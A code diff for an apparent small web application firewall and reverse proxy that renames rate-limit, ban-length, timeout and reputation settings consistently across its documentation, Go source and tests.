- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number.
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`.
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
request waits for its client's first answer from GeoJS, and how long a request
to GeoJS may take. A time in milliseconds; never `off`.
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
app the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`.
@@ -206,22 +209,23 @@ tag that no request can get stops the start. A request can get only these:
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
`off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
## Biased thresholds
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
empty): a percentage of the byte limits alone, for the AS numbers or countries
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
or country listed twice is refused.
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
the lookup cannot place.
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
(default empty): a percentage of the byte limits alone, for the AS numbers or
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
An AS number or country listed twice is refused.
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
client the lookup cannot place.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
a text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in
@@ -230,15 +234,15 @@ the request first.
## Attack detection
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
files.
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
rule files.
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
paranoia level, from 1 to 4.
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
request is a match. A whole number above zero, or `off`.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
@@ -247,10 +251,10 @@ the request first.
`smallwebwaf`'s own.
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
Rule Set does not inspect.
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
request body the Core Rule Set reads, a size of at most `64K`. A question
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
KiB less one byte of it, whatever the value (see "The answer" in
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
much of a request body the Core Rule Set reads, a size of at most `64K`. A
question carries no more of a body than 64 KiB, and the Core Rule Set reads at
most 64 KiB less one byte of it, whatever the value (see "The answer" in
[`SPEC.md`](../SPEC.md)).
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
Set exclusions, written as Coraza directives. It is loaded before the Core
@@ -288,9 +292,10 @@ the request first.
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
may get in a minute from a rule file, a trap path or the Core Rule Set, a
count or `off`. The next one bans the client (see "Attack detection" in
`SPEC.md`).
## Ban lengths, response and scope
@@ -299,8 +304,8 @@ the request first.
A duration.
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration.
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
one that would be longer is permanent. A duration.
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
that would be longer than this is permanent instead. A duration.
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
of attack. A duration.
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
@@ -336,12 +341,12 @@ the request first.
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
check with AbuseIPDB may take. A duration.
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
or AbuseIPDB's score is used. A duration.
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
zone or a check with AbuseIPDB may take. A time in milliseconds.
## Alerting
@@ -369,7 +374,7 @@ the request first.
## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are:
@@ -389,9 +394,10 @@ as `REQUESTS_PER_MINUTE`:
client.
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
(default empty) is a list of name, `=` and netblock, such as
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files
@@ -435,10 +441,11 @@ A few limits are fixed rather than settings:
## `waf`'s answer and `rproxy`'s wait
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
an outside source. Keep it well under `rproxy`'s
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
asked in the background (see "Answering in time" under "`waf`" in
[`SPEC.md`](../SPEC.md)).
## `rproxy`
@@ -447,18 +454,17 @@ AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
start, and an invalid value stops the start. Any can be given as a file, as a
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it.
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
answer, to a question and to a report. A time; never `off`.
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
request when `waf` cannot be connected to, does not answer at all, or does not
answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
`deny` answers `503`. It does not apply to an answer `waf` gives, such as an
error.
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
for `waf`'s answer, to a question and to a report. A time in milliseconds;
never `off`.
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
with a request when `waf` cannot be connected to, does not answer at all, or
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
to the app, and `deny` answers `503`. It does not apply to an answer `waf`
gives, such as an error.
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
size or `off`.
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
@@ -466,11 +472,12 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
take to send its request line and headers. It then also bounds, from the end
of the headers, the time until the app has been sent the whole request. A time
or `off`.
in milliseconds or `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
take, from the end of the request to its last byte reaching the visitor. An
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
do the status and headers of the app's answer. A time or `off`.
do the status and headers of the app's answer. A time in milliseconds or
`off`.
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`:9000`.
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
+1 -1
View File
@@ -45,7 +45,7 @@ const (
// threshold.
EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
// detect mode.
EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist, the
+7 -7
View File
@@ -37,7 +37,7 @@ const (
ScopeASN = "asn"
// ScopeTotal is the whole service.
ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
ScopeWatchedNet = "watched_net"
)
@@ -68,7 +68,7 @@ type Thresholds struct {
BytesPerHour int64
}
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
type NamedNetblock struct {
Name string
Netblock netip.Prefix
@@ -78,12 +78,12 @@ type NamedNetblock struct {
type Params struct {
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
// SWW_WAF_WATCH_*.
Client, Net, ASN, Total, Watch Thresholds
// SWW_WAF_ANOMALY_WATCHED_NET_*.
Client, Net, ASN, Total, WatchedNet Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WAF_WATCH_NETS.
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts.
Alerts *alerts.Queue
@@ -119,7 +119,7 @@ type Request struct {
// ASN, ASName and Country are the client's as looked up, each "" when
// unknown.
ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
Bytes int64
}
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.Watch,
}, p.WatchedNet,
})
}
}
+1 -1
View File
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
counters := anomaly.New(anomaly.Params{
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
Total: overAtTheSecond, Watch: overAtTheSecond,
Total: overAtTheSecond, WatchedNet: overAtTheSecond,
// The netblock around a client is the client's own, and two names
// name one netblock.
NetV4Prefix: 32,
+10 -10
View File
@@ -1,6 +1,6 @@
// Package bans is the ban ledger: the bans sww makes on the
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// netblocks of clients that break a rate limit, a byte limit or the refusal
// limit, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
@@ -49,9 +49,9 @@ type Params struct {
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban.
LimitBanRepeatWindow time.Duration
// MaxBanDuration is the longest ban for a broken limit; one that would
// be longer is permanent instead.
MaxBanDuration time.Duration
// A ban for a broken limit that would be longer than
// LimitBanPermanentAbove is permanent instead.
LimitBanPermanentAbove time.Duration
// AttackBanDuration is how long a first ban for a clear sign of attack
// lasts.
AttackBanDuration time.Duration
@@ -105,7 +105,7 @@ type Notes struct {
Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the error burst, the limit that was
// byte limit or "refusals" for the refusal limit, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
@@ -306,7 +306,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer
// than MaxBanDuration is permanent instead. If a ban on netblock is still
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is
// returned with false, and no other is made. The ledger fills in the
// notes' Refused and EarlierBans itself, and gives the ban the reason
@@ -932,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
if last != nil &&
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
// that it cannot overflow.
if lastLength > l.params.MaxBanDuration/repeatFactor {
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
return time.Time{}
}
length = repeatFactor * lastLength
}
if length > l.params.MaxBanDuration {
if length > l.params.LimitBanPermanentAbove {
return time.Time{}
}
+12 -12
View File
@@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) {
}
}
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
t.Parallel()
params := defaultParams()
params.LimitBanDuration = params.MaxBanDuration + time.Hour
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
ledger := bans.New(params)
ban, _ := ledger.BanForLimit(
@@ -114,14 +114,14 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
}
}
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
t.Parallel()
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// hours, is within the maximum, and three times as long would not fit
// in a time.Duration. The 15th is permanent.
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
// 3^13 hours, is not above it, and three times as long would not fit in
// a time.Duration. The 15th is permanent.
params := defaultParams()
params.MaxBanDuration = 100000 * day
params.LimitBanPermanentAbove = 100000 * day
ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
@@ -650,11 +650,11 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
// defaultParams are the params at the settings' defaults.
func defaultParams() bans.Params {
return bans.Params{
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day,
MaxBanDuration: 7 * day,
AttackBanDuration: 7 * day,
MaxBans: 5000,
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day,
LimitBanPermanentAbove: 7 * day,
AttackBanDuration: 7 * day,
MaxBans: 5000,
}
}
+32 -5
View File
@@ -16,6 +16,7 @@ import (
"os"
"strconv"
"strings"
"time"
"github.com/spf13/viper"
)
@@ -36,7 +37,9 @@ const (
var (
errNotSize = errors.New(
"is not a size such as 512K, 100M or 5G, or off")
errNotPositive = errors.New("must be more than zero, or off")
errNotPositive = errors.New("must be more than zero, or off")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errEmptyItem = errors.New("has an empty item in its list")
errNotNetblock = errors.New(
"is not a netblock such as 10.0.0.0/8, or an address")
@@ -62,10 +65,10 @@ func Command(v *viper.Viper) (string, error) {
}
}
// environment is where FromEnvironment reads the settings: it notes each
// value for the log, and keeps the first error. It reads every setting
// through v, the viper NewViper returns, and honours each setting's _FILE
// form too.
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
// settings: it notes each value for the log, and keeps the first error. It
// reads every setting through v, the viper NewViper returns, and honours
// each setting's _FILE form too.
type environment struct {
v *viper.Viper
settings []slog.Attr
@@ -162,6 +165,19 @@ func (e *environment) size(name, defaultValue string) int64 {
return size
}
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// parseSize reads a number of bytes with an optional K, M or G suffix, in
// powers of 1024 (1K is 1024 bytes), or off.
func parseSize(value string) (int64, error) {
@@ -198,6 +214,17 @@ func splitUnit(value string) (string, int64) {
}
}
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
// parseList splits a comma-separated list and trims the spaces around
// each item. An empty value is an empty list.
func parseList(value string) ([]string, error) {
+16 -38
View File
@@ -4,7 +4,6 @@ import (
"errors"
"fmt"
"log/slog"
"math"
"net/netip"
"net/url"
"strconv"
@@ -25,13 +24,15 @@ type RProxy struct {
TrustedProxies []netip.Prefix
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
WAFBackend *url.URL
// Timeout is how long rproxy waits for waf's answer to a question,
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
Timeout time.Duration
// DefaultDisposition is what is done with a request when waf cannot be
// connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
DefaultDisposition string
// WAFBackendTimeout is how long rproxy waits for waf's answer to a
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
// cannot be off.
WAFBackendTimeout time.Duration
// WAFBackendNoAnswerDisposition is what is done with a request when waf
// cannot be connected to, does not answer at all, or does not answer
// within WAFBackendTimeout: allow or deny
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
WAFBackendNoAnswerDisposition string
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
MaxRequestSize int64
@@ -62,9 +63,7 @@ var (
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080")
errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotDisposition = errors.New("is not allow or deny")
errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off",
)
@@ -89,9 +88,12 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
privateRanges,
),
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition(
"SWW_RPROXY_DEFAULT_DISPOSITION",
WAFBackendTimeout: env.milliseconds(
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
"2000",
),
WAFBackendNoAnswerDisposition: env.disposition(
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
@@ -173,19 +175,6 @@ func (e *environment) disposition(name, defaultValue string) string {
return value
}
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0.
func (e *environment) millisecondsOrOff(
@@ -204,17 +193,6 @@ func (e *environment) millisecondsOrOff(
return duration
}
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
+37 -35
View File
@@ -15,20 +15,20 @@ import (
// rproxy's settings, by name, and their values in these tests.
const (
wafBackend = "SWW_RPROXY_WAF_BACKEND"
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080"
rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot"
wafBackend = "SWW_RPROXY_WAF_BACKEND"
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080"
rproxyNoAnswerAddr = ":8080"
rproxyNoAnswerApp = "http://127.0.0.1:8081"
notASize = "a lot"
)
// rproxyConfig reads rproxy's settings from env.
@@ -44,8 +44,8 @@ func TestRProxyDefaults(t *testing.T) {
t.Fatalf("settings: %v", err)
}
if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
if cfg.ListenAddr != rproxyNoAnswerAddr ||
cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
cfg.WAFBackend.String() != backendURL {
t.Errorf(
"addresses %q, %v, %v",
@@ -55,11 +55,12 @@ func TestRProxyDefaults(t *testing.T) {
)
}
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
if cfg.WAFBackendTimeout != 2*time.Second ||
cfg.WAFBackendNoAnswerDisposition != "allow" {
t.Errorf(
"timeout %v, default disposition %q",
cfg.Timeout,
cfg.DefaultDisposition,
"waf backend timeout %v, no-answer disposition %q",
cfg.WAFBackendTimeout,
cfg.WAFBackendNoAnswerDisposition,
)
}
@@ -90,8 +91,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
rproxyListen: ":9000",
rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24",
rproxyTimeout: "150",
rproxyDefault: "deny",
wafBackendTimeout: "150",
rproxyNoAnswer: "deny",
rproxyMaxRequest: "1K",
rproxyMaxResponse: off,
rproxyRequestTime: off,
@@ -107,8 +108,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg)
}
if cfg.Timeout != 150*time.Millisecond ||
cfg.DefaultDisposition != "deny" ||
if cfg.WAFBackendTimeout != 150*time.Millisecond ||
cfg.WAFBackendNoAnswerDisposition != "deny" ||
cfg.MaxRequestSize != 1024 ||
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
@@ -126,13 +127,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
{wafBackend, ""},
{wafBackend, "waf:8080"},
{wafBackend, "http://waf:8080/path"},
{rproxyTimeout, "0"},
{rproxyTimeout, "-1"},
{rproxyTimeout, off},
{rproxyTimeout, "2s"},
{rproxyTimeout, "1.25"},
{rproxyTimeout, "99999999999999999"},
{rproxyDefault, "maybe"},
{wafBackendTimeout, "0"},
{wafBackendTimeout, "-1"},
{wafBackendTimeout, off},
{wafBackendTimeout, "2s"},
{wafBackendTimeout, "1.25"},
{wafBackendTimeout, "99999999999999999"},
{rproxyNoAnswer, "maybe"},
{rproxyListen, "8080"},
{rproxyUpstream, "app"},
{rproxyUpstream, "127.0.0.1:8081"},
@@ -219,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": path,
wafBackend: backendURL,
wafBackendTimeout + "_FILE": path,
})
want := rproxyTimeout + "_FILE: cannot be read: "
want := wafBackendTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want)
}
@@ -246,7 +247,8 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
}
for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
rproxyNoAnswer,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} {
if !slices.Contains(names, name) {
+1 -1
View File
@@ -11,7 +11,7 @@ import (
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
t.Setenv(adminToken, "")
_, err := config.FromEnvironment(config.NewViper())
_, err := config.WAFFromEnvironment(config.NewViper())
want := adminToken + ": is shorter than 32 characters"
if err == nil || err.Error() != want {
+231 -198
View File
@@ -27,9 +27,8 @@ import (
"sneak.berlin/go/smallwebwaf/internal/remotelog"
)
// Config is the settings of `sww waf`. A time or size limit of
// zero is off.
type Config struct {
// WAF is the settings of `sww waf`. A time or size limit of zero is off.
type WAF struct {
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
ListenAddr string
